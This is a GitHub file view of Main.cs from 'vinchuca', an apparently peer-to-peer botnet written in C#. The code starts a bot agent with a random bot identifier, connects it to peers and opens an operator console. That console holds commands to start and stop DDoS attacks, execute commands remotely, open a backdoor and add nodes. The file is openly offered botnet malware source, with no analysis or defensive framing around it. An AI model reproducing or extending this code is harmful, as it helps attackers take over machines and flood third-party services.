forked from ruCyberPoison/vinchuca
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Main.cs
80 lines (72 loc) · 2.63 KB
/
Main.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
using System;
using System.Collections.Generic;
using Mono.Options;
using Vinchuca.Network;
using Vinchuca.Network.Protocol.Peers;
using Vinchuca.REPL;
namespace Vinchuca
{
public class EntryPoint
{
private static Agent agent;
public static void Main(string[] args)
{
var idbuf = new byte[16];
new Random().NextBytes(idbuf);
var id = new BotIdentifier(idbuf);
var listenPort = 33333;
var peers = new List<PeerInfo>();
foreach (var arg in args)
{
var v = arg.Substring(1);
switch (arg[0])
{
case 'p':
int.TryParse(v, out listenPort);
break;
case 'c':
foreach (var peerInfo in v.Split(new[]{';'}))
{
peers.Add(PeerInfo.Parse(peerInfo));
}
break;
case 'i':
id = BotIdentifier.Parse(v);
break;
}
}
agent = new Agent(listenPort, id);
agent.Run();
agent.Bootstrap(peers);
var console = new VirtualConsole(0, 20);
ConsolesManager.Instance.SetFocus(console);
Console.SetCursorPosition(0, 21);
Console.Write(new string('=', Console.BufferWidth));
var repl = new CommandLineReader(console);
var suite = new CommandSet("vicha", null, console, console) {
"usage: COMMAND [OPTIONS]+.",
"Available commands are:",
"",
// { "v:", "verbosity", (int? v) => Verbosity = v.HasValue ? v.Value : Verbosity+1 },
// Commands may also be specified
new DDoSStartCommand(agent, repl),
new DDoSStopCommand(agent, repl),
new ExecuteCommand(agent, repl),
new BackdoorCommand(agent, repl),
new AddNodeCommand(agent, repl),
new DebugCommand(agent, repl),
new Command("clear", "Clear the screen")
{
Run = x=>repl.Clear()
},
new Command("exit", "Finished the control seesion and close the agent")
{
Run = x=>Environment.Exit(0)
}
};
repl.NewCommand += (sender, eventArgs) =>
suite.Run(eventArgs.Command.Split(new [] {' '}, StringSplitOptions.RemoveEmptyEntries));
repl.Run();
}
}
}